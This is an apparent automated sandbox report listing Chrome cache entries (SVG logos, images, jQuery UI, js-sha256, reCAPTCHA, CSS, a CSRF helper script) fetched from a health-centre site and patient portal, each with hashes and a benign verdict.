Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="327" height="54" viewBox="0 0 327 54" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Logo</title>.<path fill-rule="evenodd" clip-rule="evenodd" d="M21.0706 17.7707C21.0706 8.21373 28.818 0.466309 38.3749 0.466309C47.9319 0.466309 55.6793 8.21373 55.6793 17.7707C55.6793 27.3276 47.9319 35.075 38.3749 35.075C28.818 35.075 21.0706 27.3276 21.0706 17.7707ZM49.4485 17.7707C49.4485 11.6549 44.4907 6.69708 38.3749 6.69708C32.2592 6.69708 27.3014 11.6549 27.3014 17.7707C27.3014 23.8864 32.2592 28.8442 38.3749 28.8442C44.4907 28.8442 49.4485 23.8864 49.4485 17.7707Z" fill="#2D4590"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M0.961548 17.7707C0.961548 8.21373 8.70897 0.466309 18.2659 0.466309C27.8228 0.466309 35.5703 8.21373 35.5703 17.7707C35.5703 27.3276 27.8228 35.075 18.2659 35.075C8.70897 35.075 0.961548 27.3276 0.961548 17.7707ZM29.3395 17.7707C29.3395 11.6549 24.3817 6.69708 18.2659 6.69708C12.1501 6.69708 7.19232 11

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1214
Entropy (8bit):	4.47782330105859
Encrypted:	false
SSDEEP:	24:2d1Cso282K2zo282KFl/ZWoX8Gi3YoX82KFl4+5MR/WXt8:c17r82hzr820/UK8GBK820VQWXW
MD5:	E64B8CC625E29983A432184839A727A5
SHA1:	8D701603C34804A4220FDBFE7905A522D24E5D19
SHA-256:	EE2233CF18847F9A01570AA59A832168422D734002CBFE637C8E9B11E4A626E2
SHA-512:	CDD52FADB9A0623B062539FCD26F3E05431F837221131FBAC84B36705B8A0479CE4D457981C7C04E02D9672D27945CD802615C968E77500B72BB3450ABE2DF14
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?><svg enable-background="new 0 0 48.6 47.5" viewBox="0 0 48.6 47.5" xmlns="http://www.w3.org/2000/svg"><title>Logo</title><g transform="translate(0 .5)"><path d="m33.3-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.5c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#2d4590"/><path d="m15.4-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.5c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#70b244"/><path d="m15.4 16.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.6c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.9-4.4-9.9-9.8 4.4-9.8 9.9-9.8z" fill="#2d4590"/><path d="m33.3 16.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.6c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#70b244"/><path d="m24.3 19.

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	10022
Entropy (8bit):	4.655408377417056
Encrypted:	false
SSDEEP:	96:xvf7g1JY230Eb4hte0EDLOtx3rtbwDGcKsjwQ5kySwjsgU1RMmKosKxvleyfD2c0:hG8VttvjwjsrKaxv9k0r3o
MD5:	8B5B786A7374AC8EB29420A74BAAB08D
SHA1:	DCF8479D4724C81EC1E3686C99C8C9C70715B1B7
SHA-256:	F85E95886A42A11F03C5A5A28F997FF94A52D3953437B6E64EE41A4F8B600621
SHA-512:	AEE4B020AC8B31DE5608622C97250C6BC545AB0D2A021738077415837AF45A8FFA97B5F05DBD587886CB1FF904AFB86536A90DF90761D2CD741D661F1FB1C481
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 170 170" enable-background="new 0 0 170 170" xml:space="preserve">.<path fill="#3B6E8E" d="M44.281,126.521c10.679,10.666,25.423,17.262,41.708,17.262c16.285,0,31.029-6.596,41.708-17.262H44.281z"/>.<path fill="#3B6E8E" d="M85.989,25.737c-32.597,0-59.023,26.426-59.023,59.023c0,3.374,0.287,6.681,0.831,9.899h29.56..c-0.934-2.926-1.441-6.041-1.441-9.277c0-16.844,13.656-30.5,30.501-30.5c16.845,0,30.499,13.656,30.499,30.5..c0,3.236-0.508,6.352-1.441,9.277h28.705c0.544-3.219,0.831-6.525,0.831-9.899C145.012,52.163,118.587,25.737,85.989,25.737"/>.<path fill="#A0B7CC" d="M28.925,94.659c-0.577-3.269-0.879-6.633-0.879-10.068c0-31.81,25.787-57.601,57.6-57.601..c31.812,0,57.6,25.79,57.6,57.601c0,3.436-0.303,6.8-0.879,10.068h2.429c0

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23966)
Category:	downloaded
Size (bytes):	24138
Entropy (8bit):	5.096569708153791
Encrypted:	false
SSDEEP:	384:Ar7mIr/Dh5rA3rzB4rMhr/XWGHW/6rMz1xftF2OUVP4eAnbhfreD6dCBEOav7blM:+SxxGG2/71xftFqVP4eAnI0ROavPSCzo
MD5:	3B3FC826E58FC554108E4A651C9C7848
SHA1:	76778FD446E2FF2377588A7B4AC4D79F258427C9
SHA-256:	E00ADD38134EAC2FB8E8E9C09CBFFF7BBE57952B210322EB2EECB0A21FC055EB
SHA-512:	AE192D8D804F7DAFD8B7A95220CEB66C0C308A51CDF42C172C20F71F50052E4529B01F8781C5F305E1E0D6C5367D9678F1D908EE4273DB594FBB650C56A9F61B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-includes/js/masonry.min.js?ver=4.2.2
Preview:	/! This file is auto-generated /./!. Masonry PACKAGED v4.2.2. * Cascading grid layout library. * https://masonry.desandro.com. * MIT License. * by David DeSandro. */..!function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,r,a){function h(t,e,n){var o,r="$()."+i+'("'+e+'")';return t.each(function(t,h){var u=a.data(h,i);if(!u)return void s(i+" not initialized. Cannot call methods, i.e. "+r);var d=u[e];if(!d\|\|"_"==e.charAt(0))return void s(r+" is not a valid method");var l=d.apply(u,n);o=void 0===o?l:o}),void 0!==o?o:t}function u(t,e){t.each(function(t,n){var o=a.data(n,i);o?(o.option(e),o._init()):(o=new r(n,e),a.data(n,i,o))})}a=a\|\|e\|\|t.jQuery,a&&(r.prototype.option\|\|(r.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.extend(!0,this.optio

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	13939
Entropy (8bit):	5.042382771727747
Encrypted:	false
SSDEEP:	192:pcHrfJ7KqBPQhhViW7KzooHiNAATgk3anIynSiQCHjRuyfD5BN+Nmc4VKK4kTuIs:pcHJKezoM+T4VKK9TuIZIYiQZLeHJ
MD5:	10F75894C4E871E8CFE15E6E2C405B48
SHA1:	3ECDF819A3DF8171D7CB873DF080959DC87B536B
SHA-256:	63375B7A1A3CF19F2AA4D3782161435C5C26913903E10EFBBC5DAB93C35E33CA
SHA-512:	6504AAE1B27457AB1FD7ABA72B3068B12E60EF17B056144A1053185CC50645492D8C781DAE69D1BAB3F00B7B9022AFC4DA136EBDB5472F0C361CBA562F98FCB4
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/hash2.js
Preview:	/*. [js-sha256]{@link https://github.com/emn178/js-sha256}. . @version 0.5.0. * @author Chen, Yi-Cyuan [emn178@gmail.com]. * @copyright Chen, Yi-Cyuan 2014-2017. * @license MIT. /./jslint bitwise: true */.(function () {. 'use strict';.. var root = typeof window === 'object' ? window : {};. var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process == 'object' && process.versions && process.versions.node;. if (NODE_JS) {. root = global;. }. var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;. var AMD = typeof define === 'function' && define.amd;. var ARRAY_BUFFER = typeof ArrayBuffer !== 'undefined';. var HEX_CHARS = '0123456789abcdef'.split('');. var EXTRA = [-2147483648, 8388608, 32768, 128];. var SHIFT = [24, 16, 8, 0];. var K = [. 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,. 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc1

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 923x814, components 3
Category:	downloaded
Size (bytes):	78254
Entropy (8bit):	7.9746503979155445
Encrypted:	false
SSDEEP:	1536:DBT2wLVGc1t6mDm3wX5DXjfbZzOTXA4g0hx9NXhQcV/eLzn:Do+VGczSgpTbyg0dVhtV2Lzn
MD5:	DC9FAC62F1A9EC1188AD5B1B474C98AC
SHA1:	4DD1AC7204DD50E8493E7B36C22B006FB12EA2CE
SHA-256:	64EF75BEB8444C878E00C4960B98235E5808819C2F5206764008B8A30719A0CD
SHA-512:	D17D71FDCCD77BDC226121A2F9E7296C83B3ADA300BC9CE1FA0A234D5269B2033581E4729FBAF54FEFAA0CB1FDF5B664AF51CCB110B9C4D01CBF91FC54AFA730
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/homepage-923x814.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$....................................................D........................!1..A.Q."aq.2..#B...Rb...$3..r.C...45S....................................0......................!.1.AQ..".2a.Bq.#R.3................?...].qA8A.Q..R..T....2.Z5.."QB4a.. .7..0.5H..d........".b.a.... .i...P..QD.."..!.A.D..A.D..D....J..}2.p.[.. .".. ."..""* ."!].JD.[@.........R..U...i.....@lZ....v..8.. ."...l.R,.TA..@.(..@....A.D...P...EDZ..w...Y.9tb.r.......m..l....EG.Y...y...x9.{c<.....{%.AFQ..h..y^.A..TE0.4..@P.. ".D@.R.....h.:.4`).@\|......E..".)Z.....+..T..Y.VkPxP.H.."Z..D"#H. ."......."..X.Z..6Yi.@. .".. .".. .".._.JD..;.. .=l..H..k-. ..........6....D..w.I.Z../.K.5.vl.W..y'.+.*.K.Dy.<.E.....W&...d..@.......?3/.....R......}1...u\|v...y.7...Y.yO.o.P...........e....PD..ED]"...PA.D....@E.(... ("..#>..DDTC@Q\...9...V.c+..r\[O..j^....

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	5.184482755717443
Encrypted:	false
SSDEEP:	6:otqWtxbQLZVVi7GeqlAGmwbQLZVZYZ7qT:o7xbK95eqKVaKiM
MD5:	B54D0452E2FDB8C0D91C455D1C5495F9
SHA1:	DDD85730B9CB4CB9905B1D7E7643F595D2F33CB8
SHA-256:	F4138D99EC6E17514BB87CEEAD1C1D2A204219C970864FC85BFF00949EE18082
SHA-512:	6883DE3ABB2A7B71CBDE6EDA0854D5B9EC696A0656735843BBB6329007D758B502D2557CB36D5A1CEFC7B4D0AB5DCBC227C88DE9163662741C60F9D561F5A367
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<TITLE>HTTP method GET is not supported by this URL</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000">. GSE Default Error -->.<H1>HTTP method GET is not supported by this URL</H1>.<H2>Error 405</H2>.</BODY>.</HTML>.

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 503 x 413, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	171228
Entropy (8bit):	7.988597475802928
Encrypted:	false
SSDEEP:	3072:A9FJ68qocAWe3b5xO+QVJEI271oRJPZqQLhZcsSUbbCtOsbbbP:Uy8qdAWy5x0VOI2peJPZZLvbS5AsbbbP
MD5:	3CD91F7D2DF734DA4E14CA2B3BE14D88
SHA1:	A49A5681D935270B701012F37A1133926CD33990
SHA-256:	7EBA9657406EE4AC9C9D2FECEA8530BBB63A14BC16E6D3033DEC60DD0FFE0F03
SHA-512:	F26605F0C0081C0CC24A0351A0075337290C64BA9CF0E929CF77575E77D715B87381FFC7F2998D892A47137D36C257F770376D7E45050EEDA4811AE36433F614
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/join-televisit-vector-landing.png
Preview:	.PNG........IHDR...............:.....sBIT....\|.d... .IDATx^...\Wu..z..A.Rk.g[.......`.IH.S.C.7_.}....x/.!..^./...C ..&cf....<..l..V.[R.sWwUuU.._k.sN. ..e.]e............\|.\|.[...}...pgQ.4...............]...@n.r3....8...Tf2....N....x.7.O=>0...3?.R.E.:...0..4.^...wmiQ...//.......`L.....O.D".....d...7.Dn.r3.......3P.y......H9.T.......L..LL..t.........O...........V~>....XB..LH.......:7.....@n.~.f...LV5TH]y....>.7..O\|..?..{.........mk...^[V.....#}./...=Zn.r3......m..6U.+.2.......C?..3......y....../-.+......;3...}n./...g...ym....>7./..li.V..i.K?......5.k..g`aTp.....x>.l_...v..-7......[.6....kn.^Z3p..zi.*i...r.c/....y.sS......W,{.......9i..gis#...\|..s{"7./..ln........n.......\/..8;.o..?..+....<..;6............y...?.._..../7o/...G.K7..[$...<.../.8...........y..%.O<..ny.{...fr.]...O....[...?..L./...m....3p...L.\....o.os@.1.(...y.J..../_...}....~..<./...M............E.c...{Qr.-`.T`w ...^..s0>C3d.fK.9p_.\|.......@KU.\..)..G..g..y...n;.....kn.~.e.........

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 578 x 382, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	114029
Entropy (8bit):	7.984131071884062
Encrypted:	false
SSDEEP:	3072:Ju+8CTg9z1TsQHmiCyGYKr6CWkObY8HcHOUP:4+8mg95YQG5yGYKrNpORVUP
MD5:	2D81311D1DA83A97E5AF22E74BDFA0B5
SHA1:	50CF98279050ACE3C54DAFADEA37C2370F81406D
SHA-256:	C86CB0AF2ECE563652E1F2F1CE7399D2E84572C9A2D6E678F25034560703F731
SHA-512:	48AB304F596A29C7F58C69FC247478B3D76BAAC6BCA907E018075BF1AE997363DEC393401D64A2C4EEC3869FBDC4C68AA544980F7EFE675A95ADF24402C650B7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...~.....n.uK....sBIT....\|.d... .IDATx^..`\G.?\|..w.m.=..4.i...H..]....P./@....F =$...>..> .J..8....r.e[V.+m.~.3sg....".V...w.{.33g~s...kJS ..y..xU.5<N.....x..l..v.$...g..e..6..$r4..mc.w.>.z..E>Hd..^..[.W>D.^O.m.x..........\.V.U.X(.k:.W....[.E.q..OB.........>.....s&@Q...=7....<l.?%....6'....y3....=........&.?A..x...N.....n.....ja.}...yZd...RnB......&..V.9E.....p../..~0.].......v(u.b._...FY....`..7..).;.u1:.?S.#._..}..}".I..U.5...:1ElYJ.s..V.&.., 4.d...._.....$.....s&...g!.za.......x~9^..5....`.-c.{.>. t.Tc...^..UVMA"....V.1....D....=...D.1....a\..Y5f.....n8.....FUM.n.j.Y.b.Yx.#.b...1.~..><....l..Y.....^.}4b.z....e.^.{...X.=.&.7.B......+..b..p.'..V..(.i..#o.7.4.oI.........h../..../[zN..$...$..Dl4.h.i..y.XA.<..]..wV.L....xyM.A.....8&.+....a.s.$.....q........a..id.%....<n'.f......'.0.-ie..W...\|........!.UhZ...j.<...^+.Io..../*bi..&wP.!`....$...9....7.Z..\|.H\c...O...eV.."..k.D..'[~>.h4..f\..FU`.@.DC..WV..W.}..\...n.j

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	594785
Entropy (8bit):	7.977324924860198
Encrypted:	false
SSDEEP:	12288:38zS7hyPzCilAh6RqqbcGj++tmiTAktQBFr+g+zPc2kOo:380y9ASqqbx3k/yQvr+NkOo
MD5:	2475CA4FF0FB13F0D258CDFC1396085F
SHA1:	2A3AB18303112AEFD0E99F81D032E3FA31A59F8E
SHA-256:	D16716A627C82AFD3FBBE9F0AD39CD2738C38B5027DA1D6266605EB9EFEF84B2
SHA-512:	09D2F9F154EFF0AC6D412BD090F17CE222B7CF810BA2C3C4D3F53473C58B40FB7CC3F1AC8F6ED798DA754E702504A01E1D6E8CD557BE0624EF8C67D02E648521
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2023/11/NQL-HH-2023.png
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx...o._.y......B...cK[0..\.........M0v.]l..H@I.b.5..D.mRA.....0b.2..h..l.._.Za.&.d.0.........q.\E..<..y...L....\G..w..=..............`.p.......................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,...............

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1004)
Category:	downloaded
Size (bytes):	545401
Entropy (8bit):	5.019561939618979
Encrypted:	false
SSDEEP:	12288:ENewH7g8m2HAnvEcPzuwzw2QTt9Hq3elxHGE6xS:QAnvEcPzuwzw2QTtwcHGE6xS
MD5:	C33A1B0AF17287019E064B711B5A1013
SHA1:	E6C662C84E51FD2B6C88BBBCE76CB7F53499C443
SHA-256:	B237BCAB4CF1D4B5E4C7AA240125056557FD14ABC99CFB35222731797BCBDA8F
SHA-512:	C84EF204BCA46E87E61C6B904CBF9D5D3A3C955FACBF226DDF79B53C2835FF453873C8E99568642905975DB0F8677009F09416AC12DD4E9862592C709D5342CC
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newui/js/jquery-ui.js
Preview:	/! jQuery UI - v1.13.2 - 2022-07-14. http://jqueryui.com.* Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sorta

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4036), with no line terminators
Category:	downloaded
Size (bytes):	4036
Entropy (8bit):	5.014002549763875
Encrypted:	false
SSDEEP:	48:p6TFQb/oVq2I82tP3qh2HhTYftOplJcJtKtsaJ/p:WFQbgU7xlHhTYlOplJzR9p
MD5:	065F2D323B55B80E285031E4A4EE2E3E
SHA1:	68EB981E3DA27C21AF6344E25242556D7D14F542
SHA-256:	021FD756BB9AD026B6EF40A277F72633F44D0C3A4D5005D1EEF439F82C53C31E
SHA-512:	17BD922E9795BF1991B7576A9386E777B9082FE1AFB7D9D59E55D42EF77EA7DE7510916B2333234280038F24F0235B684003D7B7DE2ABF35894A3B413533D68D
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_call_to_action.css?ver=230904-91935
Preview:	.call-to-action .form-center form{text-align:center;display:initial}@media (max-width:991.98px){.call-to-action .form-center form .gform_body{width:100%!important}}.call-to-action-image img{width:100vw;position:absolute;margin-left:-50vw!important;left:50%;bottom:0;z-index:-1;max-height:20rem}.acf-block-call-to-action:not(.acf-block-call-to-action--provider):before{content:"";width:100%;height:100%;background-color:#eff3ff;position:absolute;top:0;left:0}@media (min-width:992px){.acf-block-call-to-action:not(.acf-block-call-to-action--provider):before{top:20%}}.acf-block-call-to-action--provider .acf-block-call-to-action__blue-decor{width:100%;border-top-right-radius:0}.acf-block-call-to-action__blue-decor{top:0;width:100%;height:80%;border-bottom-right-radius:5.625rem}@media (min-width:576px){.acf-block-call-to-action__blue-decor{height:75%;border-bottom-right-radius:7.65625rem}}@media (min-width:768px){.acf-block-call-to-action__blue-decor{height:70%;border-bottom-right-radius:9.6875r

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 588 x 180, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5674
Entropy (8bit):	7.737974047886932
Encrypted:	false
SSDEEP:	96:gE9Njr9hPlXxApslnyiy/GZsGSYCrnANTkbCmJpAPhTF:gIrjP8slyiHrgik2mJuP7
MD5:	4D99E214F536B5953C5FC980D6AB1CFF
SHA1:	BD7382A44B3EA17FF85DCC4B9FAE62A71440CE52
SHA-256:	1E0E6ADDAA9626FF28F1274DB498B9733D6665F11706FA4A17C22ED5E9F0B4C2
SHA-512:	92F72AEC9A18E541FDE247A5467D0D0374A0D0809010A1E07CF2CDD54D95FC1CD1BD69641508D4ACD6CF1F393A4A696DF86D8CACF7B4D9756068A9D48E34A774
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/googlecalendar/images/combined_v22.png
Preview:	.PNG........IHDR...L.........Q.....PLTE...e........f....................v.33333P.............M.....I......D.....sss..s...]ed.........Mh............Th....b\|.....;&......;D.......;JO.........c`.f.............do{............VV.@_....QQQ...................................................................................................ff.s..r..e.e..X..d..K.Q..?..L..?.?.L.................\|...V..Q].D.`?.Sl.6@.<.[\.2~.%..(......d..M..&q.C.E..A...6.--.Dw.D.f3.3f.3f."..3.f........U..pp.m.bt.p..\....Q..Y.3..-8.!.@!u0H~.!..u<=..Z...p..Z..E.t5...Pp#.%a}".c...:.#....tRNS.@..f....IDATx.....6....Y{-..ww...1D6......b....<.\|......W;l.I...Bh..nV...N.:..UY.&c:-...v.T..N.0....n.L.:...&cB..jL...ML.1q.....L.JL.2L.#Lb5...L$KL$g..0.....B.1q..C9&.f..0.....5.6.5....DeL3..CM..Z...#..0.inQ....D..L.~..u;.....e.3....S.S..S..0i.R.Hc..:l.h..U;x.rY.v.N....S.`i........~...9._.bL....p.u.Em...p.7........%a2&..os[c.^5`L......-.i.#.u......L.........?.m.77b....

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (597)
Category:	downloaded
Size (bytes):	518479
Entropy (8bit):	5.683759340720687
Encrypted:	false
SSDEEP:	12288:wTJtYdv7tmjTEyw+Z8ML8Vo1ukBO1N34PS+H7wIqBG7iIXXON2R+:kEcLVuN2R+
MD5:	8326C23D6B3EED35BC3E62F3294587FD
SHA1:	EDDA17E74E53E85073E5EAC9CB6BE2163DBFA23C
SHA-256:	57F03D3BA66117EDC152646341120DD3A1D7D71B9A98A3723AF5A8AE61BCB3AB
SHA-512:	F63FAEEA0ACCAC3FA74CF6168B319D901EDE869A83E7E6129158A120008E70E5B239BBBFF3159917F8AEEFCF997916A778AE21900B22035657E05AAAE9EBAAC0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1200
Entropy (8bit):	5.175973123942045
Encrypted:	false
SSDEEP:	24:NfG6r9I0v8iYFmwVoqT2zf8Y0dwG7ts2A/gi1s2gRbFB8RWf:NfG+9I0UlFXzyYYI7ts2A/91s2gBFB2q
MD5:	C78B669ED2FEDF0725C1F5DF93400A30
SHA1:	9979D7E435940F6B807B6336EA324472AEBAD9C8
SHA-256:	051FF38F3EE7D77B51488FCDB85A8CDD79A5C096D979B061345D7A717B2D6FEB
SHA-512:	7FBA7AA829038333484A10F627FD3157A79C20250F9A9415FDA2FEB32710AAD58D39C63A47010F1CB717A35ED38AE8C8F1E3417C66B430E0AC5184AB6D439342
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newui/js/securityCSRF.js?v=%3C%=Math.random()%%3E
Preview:	$(document).ready(function () {...var _header = $("meta[name='_csrf_header']").attr("content");...var _token = $("meta[name='_csrf']").attr("content");........$.ajaxSetup({....//Ajax calls..../beforeSend: function(xhr,settings) {... .if(settings.type=='POST'){......console.log(settings.url"-------"_token"---"_header);......xhr.setRequestHeader(_header, _token);... .}... },/....headers :{.....'X-CSRF-TOKEN' : _token....}...});.........//jqGrid calls.../$.extend($.jgrid.defaults, {.....loadBeforeSend: function(jqXHR) {.... jqXHR.setRequestHeader(_header,_token);....}...});/......//Form Submit event...if(typeof HTMLFormElement =="undefined" \|\| $("#tele_saveconsentadmin").length){....if(document.forms.length)... {....$('<input>').attr({.... type: 'hidden',.... name: _header,.... value: _token....}).appendTo('form');... }...}else{....(function (submit) {.... HTMLFormElement.prototype.submit = function (data) {.... $('<input>').attr({.... type:

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
